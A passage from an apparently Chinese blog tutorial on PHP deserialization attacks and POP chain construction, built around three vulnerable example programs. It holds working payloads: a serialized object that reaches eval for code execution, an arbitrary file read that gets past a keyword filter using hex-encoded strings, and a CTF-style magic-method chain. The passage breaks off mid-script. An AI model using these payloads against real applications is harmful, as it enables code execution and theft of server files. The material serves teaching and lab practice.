$test </span>= <span style="color: rgba(0, 0, 255, 1)">new</span><span style="color: rgba(0, 0, 0, 1)"> test();
echo serialize($test);
</span>?&gt;</span></pre>
</div>
<p><img src="https://img2020.cnblogs.com/blog/1344396/202010/1344396-20201001150455563-548656112.png" alt="" width="847" height="127" loading="lazy"></p>
<p>传入payload:</p>
<p><img src="https://img2020.cnblogs.com/blog/1344396/202010/1344396-20201001150654851-773656004.png" alt="" width="845" height="211" loading="lazy"></p>
<p>在执行<span style="background-color: rgba(255, 255, 153, 1)">unserialize()</span>方法时会触发<span style="background-color: rgba(255, 255, 153, 1)">__wakeup()</span>方法执行,将传入的字符串反序列化后,会替换掉<span style="background-color: rgba(255, 255, 153, 1)">test</span>类里面<span style="background-color: rgba(255, 255, 153, 1)">$test</span>变量的值,将php探针写入<span style="background-color: rgba(255, 255, 153, 1)">flag.php</span>文件中,并通过下面的<span style="background-color: rgba(255, 255, 153, 1)">require</span>引用,导致命令执行。</p>
<h1 class="_1RuRku">php反序列化利用—POP链构造</h1>
<p>上面的两个例子都是基于 " 自动调用 " 的magic function。但当漏洞/危险代码存在类的普通方法中,就不能指望通过 " 自动调用 " 来达到目的了。这时我们需要去寻找相同的函数名,把敏感函数和类联系在一起。一般来说在代码审计的时候我们都要盯紧这些敏感函数的,层层递进,最终去构造出一个有杀伤力的payload。</p>
<h2>POP链简介</h2>
<div>
<h3>1. POP 面向属性编程(Property-Oriented Programing)</h3>
<div>常用于上层语言构造特定调用链的方法,与二进制利用中的面向返回编程(Return-Oriented Programing)的原理相似,都是从现有运行环境中寻找一系列的代码或者指令调用,然后根据需求构成一组连续的调用链,最终达到攻击者邪恶的目的。类似于PWN中的ROP,有时候反序列化一个对象时,由它调用的__wakeup()中又去调用了其他的对象,由此可以溯源而上,利用一次次的&nbsp; " gadget " 找到漏洞点。</div>
<h3>2. POP CHAIN</h3>
<div>把魔术方法作为最开始的小组件,然后在魔术方法中调用其他函数(小组件),通过寻找相同名字的函数,再与类中的敏感函数和属性相关联,就是POP CHAIN 。此时类中所有的敏感属性都属于可控的。当unserialize()传入的参数可控,便可以通过反序列化漏洞控制POP CHAIN达到利用特定漏洞的效果。</div>
<h2>POP链利用技巧</h2>
</div>
<h3>1. 一些有用的POP链中出现的方法:</h3>
<div class="cnblogs_code">
<pre>-<span style="color: rgba(0, 0, 0, 1)"> 命令执行:exec()、passthru()、popen()、system()
</span>-<span style="color: rgba(0, 0, 0, 1)"> 文件操作:file_put_contents()、file_get_contents()、unlink()
</span>- 代码执行:eval()、assert()、call_user_func()</pre>
</div>
<div>
<h3>2.&nbsp;<strong>反序列化中为了避免信息丢失,使用大写S支持字符串的编码。</strong></h3>
<div>PHP 为了更加方便进行反序列化 Payload 的 传输与显示(避免丢失某些控制字符等信息),我们可以在序列化内容中用大写S表示字符串,此时这个字符串就支持将后面的字符串用16进制表示,使用如下形式即可绕过,即:</div>
<div class="cnblogs_code">
<pre><span style="font-size: 13px">s:<span style="color: rgba(128, 0, 128, 1)">4</span>:<span style="color: rgba(128, 0, 0, 1)">"</span><span style="color: rgba(128, 0, 0, 1)">user</span><span style="color: rgba(128, 0, 0, 1)">"</span>; -&gt; S:<span style="color: rgba(128, 0, 128, 1)">4</span>:<span style="color: rgba(128, 0, 0, 1)">"</span><span style="color: rgba(128, 0, 0, 1)">use\72</span><span style="color: rgba(128, 0, 0, 1)">"</span>;</span></pre>
</div>
<div>
<h3>3. 深浅copy</h3>
<div>在php中如果我们使用 &amp; 对变量A的值指向变量B,这个时候是属于浅拷贝,当变量B改变时,变量A也会跟着改变。在被反序列化的对象的某些变量被过滤了,但是其他变量可控的情况下,就可以利用浅拷贝来绕过过滤。</div>
<div>
<div class="cnblogs_code">
<pre><span style="font-size: 13px">$A = &amp;$B;</span> </pre>
</div>
</div>
<div>
<h3>4. 利用PHP伪协议</h3>
</div>
<div>配合PHP伪协议实现文件包含、命令执行等漏洞。如glob:// 伪协议查找匹配的文件路径模式。</div>
</div>
</div>
<h2>POP链构造小例子一</h2>
<div class="cnblogs_code">
<pre><span style="font-size: 13px">&lt;?<span style="color: rgba(0, 0, 0, 1)">php
</span><span style="color: rgba(0, 0, 255, 1)">class</span><span style="color: rgba(0, 0, 0, 1)"> main {
    </span><span style="color: rgba(0, 0, 255, 1)">protected</span><span style="color: rgba(0, 0, 0, 1)"> $ClassObj;

    function __construct() {
      $</span><span style="color: rgba(0, 0, 255, 1)">this</span>-&gt;ClassObj = <span style="color: rgba(0, 0, 255, 1)">new</span><span style="color: rgba(0, 0, 0, 1)"> normal();
    }

    function __destruct() {
      $</span><span style="color: rgba(0, 0, 255, 1)">this</span>-&gt;ClassObj-&gt;<span style="color: rgba(0, 0, 0, 1)">action();
    }
}

</span><span style="color: rgba(0, 0, 255, 1)">class</span><span style="color: rgba(0, 0, 0, 1)"> normal {
    function action() {
      echo </span><span style="color: rgba(128, 0, 0, 1)">"</span><span style="color: rgba(128, 0, 0, 1)">hello bmjoker</span><span style="color: rgba(128, 0, 0, 1)">"</span><span style="color: rgba(0, 0, 0, 1)">;
    }
}

</span><span style="color: rgba(0, 0, 255, 1)">class</span><span style="color: rgba(0, 0, 0, 1)"> evil {
    </span><span style="color: rgba(0, 0, 255, 1)">private</span><span style="color: rgba(0, 0, 0, 1)"> $data;
    function action() {
      eval($</span><span style="color: rgba(0, 0, 255, 1)">this</span>-&gt;<span style="color: rgba(0, 0, 0, 1)">data);
    }
}
</span><span style="color: rgba(0, 128, 0, 1)">//</span><span style="color: rgba(0, 128, 0, 1)">$a = new main();</span>
unserialize($_GET[<span style="color: rgba(128, 0, 0, 1)">'</span><span style="color: rgba(128, 0, 0, 1)">a</span><span style="color: rgba(128, 0, 0, 1)">'</span><span style="color: rgba(0, 0, 0, 1)">]);
</span>?&gt;</span></pre>
</div>
<p>如上代码,危险的命令执行方法<span style="background-color: rgba(255, 255, 153, 1)">eval</span>不在魔术方法中,在<span style="background-color: rgba(255, 255, 153, 1)">evil</span>类中。但是魔术方法<span style="background-color: rgba(255, 255, 153, 1)">__construct()</span>是调用<span style="background-color: rgba(255, 255, 153, 1)">normal</span>类,<span style="background-color: rgba(255, 255, 153, 1)">__destruct()</span>在程序结束时会去调用<span style="background-color: rgba(255, 255, 153, 1)">normal</span>类中的<span style="background-color: rgba(255, 255, 153, 1)">action()</span>方法。而我们最终的目的是去调用<span style="background-color: rgba(255, 255, 153, 1)">evil</span>类中的<span style="background-color: rgba(255, 255, 153, 1)">action()</span>方法,并伪造<span style="background-color: rgba(255, 255, 153, 1)">evil</span>类中的变量<span style="background-color: rgba(255, 255, 153, 1)">$data</span>,达成任意代码执行的目的。这样的话可以尝试去构造POP利用链,让魔术方法<span style="background-color: rgba(255, 255, 153, 1)">__construct()</span>去调用<span style="background-color: rgba(255, 255, 153, 1)">evil</span>这个类,并且给变量<span style="background-color: rgba(255, 255, 153, 1)">$data</span>赋予恶意代码,比如php探针<span style="background-color: rgba(255, 255, 153, 1)">phpinfo()</span>,这样就相当于执行<span style="background-color: rgba(255, 255, 153, 1)">&lt;?php eval("phpinfo();")?&gt;</span>。尝试构造payload:</p>
<p><img src="https://img2020.cnblogs.com/blog/1344396/202010/1344396-20201001220238085-192750125.png" alt="" width="835" height="233" loading="lazy"></p>
<p>编写我们想要执行的效果,然后进行序列化。</p>
<p>但是由于<span style="background-color: rgba(255, 255, 153, 1)">$ClassObj</span>是<span style="background-color: rgba(255, 255, 153, 1)">protected</span>类型修饰,<span style="background-color: rgba(255, 255, 153, 1)">$data</span>是<span style="background-color: rgba(255, 255, 153, 1)">private</span>类型修饰,在序列化的时候,多出来的字节都被<span style="background-color: rgba(255, 255, 153, 1)">\x</span><span style="background-color: rgba(255, 255, 153, 1)">00</span>填充,需要进行在代码中使用<span style="background-color: rgba(255, 255, 153, 1)">urlencode</span>对序列化后字符串进行编码,否则无法复制解析。</p>
<p>最后payload为:</p>
<div class="cnblogs_code">
<pre><span style="font-size: 13px">O%3A4%3A%22main%<span style="color: rgba(128, 0, 128, 1)">22</span>%3A1%3A%7Bs%3A11%3A%<span style="color: rgba(128, 0, 128, 1)">22</span>%<span style="color: rgba(128, 0, 128, 1)">00</span>%2A%00ClassObj%<span style="color: rgba(128, 0, 128, 1)">22</span>%3BO%3A4%3A%22evil%<span style="color: rgba(128, 0, 128, 1)">22</span>%3A1%3A%7Bs%3A10%3A%<span style="color: rgba(128, 0, 128, 1)">22</span>%00evil%00data%<span style="color: rgba(128, 0, 128, 1)">22</span>%3Bs%3A10%3A%22phpinfo%<span style="color: rgba(128, 0, 128, 1)">28</span>%<span style="color: rgba(128, 0, 128, 1)">29</span>%3B%<span style="color: rgba(128, 0, 128, 1)">22</span>%3B%7D%7D</span></pre>
</div>
<p><img src="https://img2020.cnblogs.com/blog/1344396/202010/1344396-20201001221403710-1223198740.png" alt="" width="778" height="266" loading="lazy"></p>
<h2>POP链构造小例子二</h2>
<div class="cnblogs_code">
<pre><span style="font-size: 13px">&lt;?<span style="color: rgba(0, 0, 0, 1)">php</span>
<span style="color: rgba(0, 0, 255, 1)">class</span><span style="color: rgba(0, 0, 0, 1)"> MyFile {
    </span><span style="color: rgba(0, 0, 255, 1)">public</span><span style="color: rgba(0, 0, 0, 1)"> $name;
    </span><span style="color: rgba(0, 0, 255, 1)">public</span><span style="color: rgba(0, 0, 0, 1)"> $user;
    </span><span style="color: rgba(0, 0, 255, 1)">public</span><span style="color: rgba(0, 0, 0, 1)"> function __construct($name, $user) {
      $</span><span style="color: rgba(0, 0, 255, 1)">this</span>-&gt;name =<span style="color: rgba(0, 0, 0, 1)"> $name;
      $</span><span style="color: rgba(0, 0, 255, 1)">this</span>-&gt;user =<span style="color: rgba(0, 0, 0, 1)"> $user;
    }
    </span><span style="color: rgba(0, 0, 255, 1)">public</span><span style="color: rgba(0, 0, 0, 1)"> function __toString(){
      </span><span style="color: rgba(0, 0, 255, 1)">return</span> file_get_contents($<span style="color: rgba(0, 0, 255, 1)">this</span>-&gt;<span style="color: rgba(0, 0, 0, 1)">name);
    }</span>
    <span style="color: rgba(0, 0, 255, 1)">public</span><span style="color: rgba(0, 0, 0, 1)"> function __wakeup(){
      </span><span style="color: rgba(0, 0, 255, 1)">if</span>(stristr($<span style="color: rgba(0, 0, 255, 1)">this</span>-&gt;name, <span style="color: rgba(128, 0, 0, 1)">"</span><span style="color: rgba(128, 0, 0, 1)">flag</span><span style="color: rgba(128, 0, 0, 1)">"</span>)!==<span style="color: rgba(0, 0, 0, 1)">False)
            $</span><span style="color: rgba(0, 0, 255, 1)">this</span>-&gt;name = <span style="color: rgba(128, 0, 0, 1)">"</span><span style="color: rgba(128, 0, 0, 1)">/etc/hostname</span><span style="color: rgba(128, 0, 0, 1)">"</span><span style="color: rgba(0, 0, 0, 1)">;
      </span><span style="color: rgba(0, 0, 255, 1)">else</span><span style="color: rgba(0, 0, 0, 1)">
            $</span><span style="color: rgba(0, 0, 255, 1)">this</span>-&gt;name = <span style="color: rgba(128, 0, 0, 1)">"</span><span style="color: rgba(128, 0, 0, 1)">/etc/passwd</span><span style="color: rgba(128, 0, 0, 1)">"</span><span style="color: rgba(0, 0, 0, 1)">;
      </span><span style="color: rgba(0, 0, 255, 1)">if</span>(isset($_GET[<span style="color: rgba(128, 0, 0, 1)">'</span><span style="color: rgba(128, 0, 0, 1)">user</span><span style="color: rgba(128, 0, 0, 1)">'</span><span style="color: rgba(0, 0, 0, 1)">])) {
            $</span><span style="color: rgba(0, 0, 255, 1)">this</span>-&gt;user = $_GET[<span style="color: rgba(128, 0, 0, 1)">'</span><span style="color: rgba(128, 0, 0, 1)">user</span><span style="color: rgba(128, 0, 0, 1)">'</span><span style="color: rgba(0, 0, 0, 1)">];
      }
    }
    </span><span style="color: rgba(0, 0, 255, 1)">public</span><span style="color: rgba(0, 0, 0, 1)"> function __destruct() {
      echo $</span><span style="color: rgba(0, 0, 255, 1)">this</span><span style="color: rgba(0, 0, 0, 1)">;
    }
}</span>
<span style="color: rgba(0, 0, 255, 1)">if</span>(isset($_GET[<span style="color: rgba(128, 0, 0, 1)">'</span><span style="color: rgba(128, 0, 0, 1)">input</span><span style="color: rgba(128, 0, 0, 1)">'</span><span style="color: rgba(0, 0, 0, 1)">])){
    $input </span>= $_GET[<span style="color: rgba(128, 0, 0, 1)">'</span><span style="color: rgba(128, 0, 0, 1)">input</span><span style="color: rgba(128, 0, 0, 1)">'</span><span style="color: rgba(0, 0, 0, 1)">]; </span>
    <span style="color: rgba(0, 0, 255, 1)">if</span>(stristr($input, <span style="color: rgba(128, 0, 0, 1)">'</span><span style="color: rgba(128, 0, 0, 1)">user</span><span style="color: rgba(128, 0, 0, 1)">'</span>)!==<span style="color: rgba(0, 0, 0, 1)">False){
      die(</span><span style="color: rgba(128, 0, 0, 1)">'</span><span style="color: rgba(128, 0, 0, 1)">Hacker</span><span style="color: rgba(128, 0, 0, 1)">'</span><span style="color: rgba(0, 0, 0, 1)">);
    } </span><span style="color: rgba(0, 0, 255, 1)">else</span><span style="color: rgba(0, 0, 0, 1)"> {
      unserialize($input);
    }
}</span><span style="color: rgba(0, 0, 255, 1)">else</span><span style="color: rgba(0, 0, 0, 1)"> {
    highlight_file(__FILE__);
}</span><br></span></pre>
</div>
<p>像如上代码比较复杂的可以先定位魔术方法与漏洞触发点。在代码中发现<span style="background-color: rgba(255, 255, 153, 1)">__toString()</span>魔术方法调用了<span style="background-color: rgba(255, 255, 153, 1)">file_get_contents()</span>来读取变量<span style="background-color: rgba(255, 255, 153, 1)">$name</span>的数据。当程序执行结束或者变量销毁时就会自动调用析构函数<span style="background-color: rgba(255, 255, 153, 1)">__destruct()<span style="background-color: rgba(255, 255, 255, 1)">并</span></span>使用<span style="background-color: rgba(255, 255, 153, 1)">echo</span>输出变量,<span style="background-color: rgba(255, 255, 153, 1)">__toString()</span>方法在此时会被自动调用。关键在于如果能控制变量<span style="background-color: rgba(255, 255, 153, 1)">$name</span>,就可以造成任意文件读取漏洞。但是通读代码发现前端传入的可控数据只有变量<span style="background-color: rgba(255, 255, 153, 1)">$user</span>,并且传入的<span style="background-color: rgba(255, 255, 153, 1)">$user</span>还不能包含 "user" 子符串。解决方法:</p>
<p>  1. <span style="background-color: rgba(255, 255, 153, 1)">$input<span style="background-color: rgba(255, 255, 255, 1)"> 前端传进来的参数不允许包含"user"</span></span>字段,可以在序列化内容中用大写S表示字符串,此时这个字符串就支持将后面的字符串用16进制表示,使用16进制即可绕过</p>
<p>  2. <span style="background-color: rgba(255, 255, 153, 1)">$name</span>字段不可控,$user字段可控,可以使用浅copy来实现赋值。</p>
<p>尝试构造payload:</p>
<div class="cnblogs_code">
<pre><span style="font-size: 13px">&lt;?<span style="color: rgba(0, 0, 0, 1)">php
</span><span style="color: rgba(0, 0, 255, 1)">class</span><span style="color: rgba(0, 0, 0, 1)"> MyFile {
    </span><span style="color: rgba(0, 0, 255, 1)">public</span> $name = <span style="color: rgba(128, 0, 0, 1)">'</span><span style="color: rgba(128, 0, 0, 1)">/etc/hosts</span><span style="color: rgba(128, 0, 0, 1)">'</span><span style="color: rgba(0, 0, 0, 1)">;
    </span><span style="color: rgba(0, 0, 255, 1)">public</span> $user = <span style="color: rgba(128, 0, 0, 1)">''</span><span style="color: rgba(0, 0, 0, 1)">;
}
$a </span>= <span style="color: rgba(0, 0, 255, 1)">new</span><span style="color: rgba(0, 0, 0, 1)"> MyFile();
$a</span>-&gt;name = &amp;$a-&gt;<span style="color: rgba(0, 0, 0, 1)">user;
$b </span>=<span style="color: rgba(0, 0, 0, 1)"> serialize($a);
$b </span>= str_replace(<span style="color: rgba(128, 0, 0, 1)">"</span><span style="color: rgba(128, 0, 0, 1)">user</span><span style="color: rgba(128, 0, 0, 1)">"</span>, <span style="color: rgba(128, 0, 0, 1)">"</span><span style="color: rgba(128, 0, 0, 1)">use\\72</span><span style="color: rgba(128, 0, 0, 1)">"</span><span style="color: rgba(0, 0, 0, 1)">, $b);
$b </span>= str_replace(<span style="color: rgba(128, 0, 0, 1)">"</span><span style="color: rgba(128, 0, 0, 1)">s</span><span style="color: rgba(128, 0, 0, 1)">"</span>, <span style="color: rgba(128, 0, 0, 1)">"</span><span style="color: rgba(128, 0, 0, 1)">S</span><span style="color: rgba(128, 0, 0, 1)">"</span><span style="color: rgba(0, 0, 0, 1)">, $b);
var_dump($b);
</span>?&gt;</span></pre>
</div>
<p><img src="https://img2020.cnblogs.com/blog/1344396/202010/1344396-20201002232837801-1926933511.png" alt="" width="946" height="188" loading="lazy"></p>
<p>一般POP链都是反着程序来生成,将我们要实现的代码序列化,传入程序进行反序列化 ,就可以让程序按照我们的想法执行。</p>
<p>如上代码我们的目的是去操控<span style="background-color: rgba(255, 255, 153, 1)">$name</span>的值,但事实只有<span style="background-color: rgba(255, 255, 153, 1)">$user</span>的值可控,所以采取浅copy:<span style="background-color: rgba(255, 255, 153, 1)">$a-&gt;name = &amp;$a-&gt;user</span>。当变量<span style="background-color: rgba(255, 255, 153, 1)">$user</span>改变时,变量<span style="background-color: rgba(255, 255, 153, 1)">$name</span>也会跟着改变(其实就是指针指向的问题)。这样就可以通过控制变量<span style="background-color: rgba(255, 255, 153, 1)">$user</span>的值来控制<span style="background-color: rgba(255, 255, 153, 1)">$name</span>的值。紧接着下面两个<span style="background-color: rgba(255, 255, 153, 1)">str_replace</span>目的是在序列化内容中用大写S表示字符串,这个字符串就支持将后面的字符串用16进制表示,就可以绕过代码中对用户输入"user" 字符串的检测。尝试执行payload:</p>
<p><img src="https://img2020.cnblogs.com/blog/1344396/202010/1344396-20201003000311311-264580318.png" alt="" width="710" height="81" loading="lazy"></p>
<p>传入<span style="background-color: rgba(255, 255, 153, 1)">user=D://1.txt</span>,就相当于替换<span style="background-color: rgba(255, 255, 153, 1)">$this-&gt;name</span>的值,成功读取文件。</p>
<h2>POP链构造小例子三</h2>
<p>这个小例子来自于《PHP反序列化由浅入深》,这个例子有点意思。</p>
<div class="cnblogs_code">
<pre><span style="font-size: 13px">&lt;?<span style="color: rgba(0, 0, 0, 1)">php
</span><span style="color: rgba(0, 0, 255, 1)">class</span><span style="color: rgba(0, 0, 0, 1)"> start_gg
{
    </span><span style="color: rgba(0, 0, 255, 1)">public</span><span style="color: rgba(0, 0, 0, 1)"> $mod1;
    </span><span style="color: rgba(0, 0, 255, 1)">public</span><span style="color: rgba(0, 0, 0, 1)"> $mod2;
    </span><span style="color: rgba(0, 0, 255, 1)">public</span><span style="color: rgba(0, 0, 0, 1)"> function __destruct()
    {
      $</span><span style="color: rgba(0, 0, 255, 1)">this</span>-&gt;mod1-&gt;<span style="color: rgba(0, 0, 0, 1)">test1();
    }
}
</span><span style="color: rgba(0, 0, 255, 1)">class</span><span style="color: rgba(0, 0, 0, 1)"> Call
{
    </span><span style="color: rgba(0, 0, 255, 1)">public</span><span style="color: rgba(0, 0, 0, 1)"> $mod1;
    </span><span style="color: rgba(0, 0, 255, 1)">public</span><span style="color: rgba(0, 0, 0, 1)"> $mod2;
    </span><span style="color: rgba(0, 0, 255, 1)">public</span><span style="color: rgba(0, 0, 0, 1)"> function test1()
    {
      $</span><span style="color: rgba(0, 0, 255, 1)">this</span>-&gt;mod1-&gt;<span style="color: rgba(0, 0, 0, 1)">test2();
    }
}
</span><span style="color: rgba(0, 0, 255, 1)">class</span><span style="color: rgba(0, 0, 0, 1)"> funct
{
    </span><span style="color: rgba(0, 0, 255, 1)">public</span><span style="color: rgba(0, 0, 0, 1)"> $mod1;
    </span><span style="color: rgba(0, 0, 255, 1)">public</span><span style="color: rgba(0, 0, 0, 1)"> $mod2;
    </span><span style="color: rgba(0, 0, 255, 1)">public</span><span style="color: rgba(0, 0, 0, 1)"> function __call($test2,$arr)
    {
      $s1 </span>= $<span style="color: rgba(0, 0, 255, 1)">this</span>-&gt;<span style="color: rgba(0, 0, 0, 1)">mod1;
      $s1();
    }
}
</span><span style="color: rgba(0, 0, 255, 1)">class</span><span style="color: rgba(0, 0, 0, 1)"> func
{
    </span><span style="color: rgba(0, 0, 255, 1)">public</span><span style="color: rgba(0, 0, 0, 1)"> $mod1;
    </span><span style="color: rgba(0, 0, 255, 1)">public</span><span style="color: rgba(0, 0, 0, 1)"> $mod2;
    </span><span style="color: rgba(0, 0, 255, 1)">public</span><span style="color: rgba(0, 0, 0, 1)"> function __invoke()
    {
      $</span><span style="color: rgba(0, 0, 255, 1)">this</span>-&gt;mod2 = <span style="color: rgba(128, 0, 0, 1)">"</span><span style="color: rgba(128, 0, 0, 1)">字符串拼接</span><span style="color: rgba(128, 0, 0, 1)">"</span>.$<span style="color: rgba(0, 0, 255, 1)">this</span>-&gt;<span style="color: rgba(0, 0, 0, 1)">mod1;
    }
}
</span><span style="color: rgba(0, 0, 255, 1)">class</span><span style="color: rgba(0, 0, 0, 1)"> string1
{
    </span><span style="color: rgba(0, 0, 255, 1)">public</span><span style="color: rgba(0, 0, 0, 1)"> $str1;
    </span><span style="color: rgba(0, 0, 255, 1)">public</span><span style="color: rgba(0, 0, 0, 1)"> $str2;
    </span><span style="color: rgba(0, 0, 255, 1)">public</span><span style="color: rgba(0, 0, 0, 1)"> function __toString()
    {
      $</span><span style="color: rgba(0, 0, 255, 1)">this</span>-&gt;str1-&gt;<span style="color: rgba(0, 0, 0, 1)">get_flag();
      </span><span style="color: rgba(0, 0, 255, 1)">return</span> <span style="color: rgba(128, 0, 0, 1)">"</span><span style="color: rgba(128, 0, 0, 1)">1</span><span style="color: rgba(128, 0, 0, 1)">"</span><span style="color: rgba(0, 0, 0, 1)">;
    }
}
</span><span style="color: rgba(0, 0, 255, 1)">class</span><span style="color: rgba(0, 0, 0, 1)"> GetFlag
{
    </span><span style="color: rgba(0, 0, 255, 1)">public</span><span style="color: rgba(0, 0, 0, 1)"> function get_flag()
    {
      echo </span><span style="color: rgba(128, 0, 0, 1)">"</span><span style="color: rgba(128, 0, 0, 1)">flag:xxxxxxxxxxxx</span><span style="color: rgba(128, 0, 0, 1)">"</span><span style="color: rgba(0, 0, 0, 1)">;
    }
}
$a </span>= $_GET[<span style="color: rgba(128, 0, 0, 1)">'</span><span style="color: rgba(128, 0, 0, 1)">string</span><span style="color: rgba(128, 0, 0, 1)">'</span><span style="color: rgba(0, 0, 0, 1)">];
unserialize($a);
</span>?&gt;</span></pre>
</div>
<p>最后的目的是获取flag,也就是需要调用GetFlag类中的get_flag方法。这是一个类的普通方法。要让这个方法执行,需要构造一个POP链。</p>
<p>1. <span style="background-color: rgba(255, 255, 153, 1)">string1</span>中的<span style="background-color: rgba(255, 255, 153, 1)">__tostring</span>存在<span style="background-color: rgba(255, 255, 153, 1)">$this-&gt;str1-&gt;get_flag()</span>,分析一下要自动调用<span style="background-color: rgba(255, 255, 153, 1)">__tostring()</span>需要把类<span style="background-color: rgba(255, 255, 153, 1)">string1</span>当成字符串来使用,因为调用的是参数<span style="background-color: rgba(255, 255, 153, 1)">str1</span>的方法,所以需要把<span style="background-color: rgba(255, 255, 153, 1)">str1</span>赋值为类<span style="background-color: rgba(255, 255, 153, 1)">GetFlag</span>的对象。</p>
<div class="cnblogs_code">
<pre><span style="font-size: 13px">$<span style="color: rgba(0, 0, 255, 1)">this</span>-&gt;str1 = <span style="color: rgba(0, 0, 255, 1)">new</span> GetFlag()</span></pre>
</div>
<p>2.&nbsp;发现类<span style="background-color: rgba(255, 255, 153, 1)">func</span>中存在<span style="background-color: rgba(255, 255, 153, 1)">__invoke</span>方法执行了字符串拼接,需要把<span style="background-color: rgba(255, 255, 153, 1)">func</span>当成函数使用自动调用<span style="background-color: rgba(255, 255, 153, 1)">__invoke</span>然后把<span style="background-color: rgba(255, 255, 153, 1)">$mod1</span>赋值为<span style="background-color: rgba(255, 255, 153, 1)">string1</span>的对象与<span style="background-color: rgba(255, 255, 153, 1)">$mod2</span>拼接。</p>
<div class="cnblogs_code">
<pre><span style="font-size: 13px">$<span style="color: rgba(0, 0, 255, 1)">this</span>-&gt;mod1 = <span style="color: rgba(0, 0, 255, 1)">new</span> string1()   这样的话在字符串拼接的时候就会触发魔术方法__toString()</span></pre>
</div>
<p>3. 在<span style="background-color: rgba(255, 255, 153, 1)">funct</span>中找到了函数调用,需要把<span style="background-color: rgba(255, 255, 153, 1)">mod1</span>赋值为<span style="background-color: rgba(255, 255, 153, 1)">func</span>类的对象,又因为函数调用在<span style="background-color: rgba(255, 255, 153, 1)">__call</span>方法中,且参数为<span style="background-color: rgba(255, 255, 153, 1)">$test2</span>,即无法调用<span style="background-color: rgba(255, 255, 153, 1)">test2</span>方法时自动调用 <span style="background-color: rgba(255, 255, 153, 1)">__call</span>方法;</p>
<div class="cnblogs_code">
<pre><span style="font-size: 13px">$<span style="color: rgba(0, 0, 255, 1)">this</span>-&gt;mod1 = <span style="color: rgba(0, 0, 255, 1)">new</span> func()   将func类作为函数调用就会触发魔术方法__invoke()</span></pre>
</div>
<p>4. 在<span style="background-color: rgba(255, 255, 153, 1)">Call</span>中的<span style="background-color: rgba(255, 255, 153, 1)">test1</span>方法中存在<span style="background-color: rgba(255, 255, 153, 1)">$this-&gt;mod1-&gt;test2();</span>,需要把<span style="background-color: rgba(255, 255, 153, 1)">$mod1</span>赋值为<span style="background-color: rgba(255, 255, 153, 1)">funct</span>的对象,让<span style="background-color: rgba(255, 255, 153, 1)">__call</span>自动调用。</p>
<div class="cnblogs_code">
<pre><span style="font-size: 13px">$<span style="color: rgba(0, 0, 255, 1)">this</span>-&gt;mod1 = <span style="color: rgba(0, 0, 255, 1)">new</span> funct()  因为$test2()方法不存在,当$this-&gt;mod1调用的时候会触发魔术方法__call()</span></pre>
</div>
<p>5. 查找<span style="background-color: rgba(255, 255, 153, 1)">test1</span>方法的调用点,在<span style="background-color: rgba(255, 255, 153, 1)">start_gg</span>中发现<span style="background-color: rgba(255, 255, 153, 1)">$this-&gt;mod1-&gt;test1();</span>,把<span style="background-color: rgba(255, 255, 153, 1)">$mod1</span>赋值为<span style="background-color: rgba(255, 255, 153, 1)">Call</span>类的对象,等待<span style="background-color: rgba(255, 255, 153, 1)">__destruct()</span>自动调用。这个程序的起点就在这里</p>
<div class="cnblogs_code">
<pre><span style="font-size: 13px">$<span style="color: rgba(0, 0, 255, 1)">this</span>-&gt;mod1 = <span style="color: rgba(0, 0, 255, 1)">new</span> Call()</span></pre>
</div>
<p>这个例子有趣的地方是在于结合魔术方法来层层调用,根据上面的分析来构造payload:</p>
<div class="cnblogs_code">
<pre><span style="font-size: 13px">&lt;?<span style="color: rgba(0, 0, 0, 1)">php
</span><span style="color: rgba(0, 0, 255, 1)">class</span><span style="color: rgba(0, 0, 0, 1)"> start_gg
{
    </span><span style="color: rgba(0, 0, 255, 1)">public</span><span style="color: rgba(0, 0, 0, 1)"> $mod1;
    </span><span style="color: rgba(0, 0, 255, 1)">public</span><span style="color: rgba(0, 0, 0, 1)"> $mod2;
    </span><span style="color: rgba(0, 0, 255, 1)">public</span><span style="color: rgba(0, 0, 0, 1)"> function __construct()
    {
      $</span><span style="color: rgba(0, 0, 255, 1)">this</span>-&gt;mod1 = <span style="color: rgba(0, 0, 255, 1)">new</span> Call();  <span style="color: rgba(0, 128, 0, 1)">//</span><span style="color: rgba(0, 128, 0, 1)">把$mod1赋值为Call类对象</span>
<span style="color: rgba(0, 0, 0, 1)">    }
    </span><span style="color: rgba(0, 0, 255, 1)">public</span><span style="color: rgba(0, 0, 0, 1)"> function __destruct()
    {
      $</span><span style="color: rgba(0, 0, 255, 1)">this</span>-&gt;mod1-&gt;<span style="color: rgba(0, 0, 0, 1)">test1();
    }
}
</span><span style="color: rgba(0, 0, 255, 1)">class</span><span style="color: rgba(0, 0, 0, 1)"> Call
{
    </span><span style="color: rgba(0, 0, 255, 1)">public</span><span style="color: rgba(0, 0, 0, 1)"> $mod1;
    </span><span style="color: rgba(0, 0, 255, 1)">public</span><span style="color: rgba(0, 0, 0, 1)"> $mod2;
    </span><span style="color: rgba(0, 0, 255, 1)">public</span><span style="color: rgba(0, 0, 0, 1)"> function __construct()
    {
      $</span><span style="color: rgba(0, 0, 255, 1)">this</span>-&gt;mod1 = <span style="color: rgba(0, 0, 255, 1)">new</span> funct();  <span style="color: rgba(0, 128, 0, 1)">//</span><span style="color: rgba(0, 128, 0, 1)">把 $mod1赋值为funct类对象</span>
<span style="color: rgba(0, 0, 0, 1)">    }
    </span><span style="color: rgba(0, 0, 255, 1)">public</span><span style="color: rgba(0, 0, 0, 1)"> function test1()
    {
      $</span><span style="color: rgba(0, 0, 255, 1)">this</span>-&gt;mod1-&gt;<span style="color: rgba(0, 0, 0, 1)">test2();
    }
}

</span><span style="color: rgba(0, 0, 255, 1)">class</span><span style="color: rgba(0, 0, 0, 1)"> funct
{
    </span><span style="color: rgba(0, 0, 255, 1)">public</span><span style="color: rgba(0, 0, 0, 1)"> $mod1;
    </span><span style="color: rgba(0, 0, 255, 1)">public</span><span style="color: rgba(0, 0, 0, 1)"> $mod2;
    </span><span style="color: rgba(0, 0, 255, 1)">public</span><span style="color: rgba(0, 0, 0, 1)"> function __construct()
    {
      $</span><span style="color: rgba(0, 0, 255, 1)">this</span>-&gt;mod1= <span style="color: rgba(0, 0, 255, 1)">new</span> func();  <span style="color: rgba(0, 128, 0, 1)">//</span><span style="color: rgba(0, 128, 0, 1)">把 $mod1赋值为func类对象</span>
<span style="color: rgba(0, 0, 0, 1)">
    }
    </span><span style="color: rgba(0, 0, 255, 1)">public</span><span style="color: rgba(0, 0, 0, 1)"> function __call($test2,$arr)
    {
      $s1 </span>= $<span style="color: rgba(0, 0, 255, 1)">this</span>-&gt;<span style="color: rgba(0, 0, 0, 1)">mod1;
      $s1();
    }
}
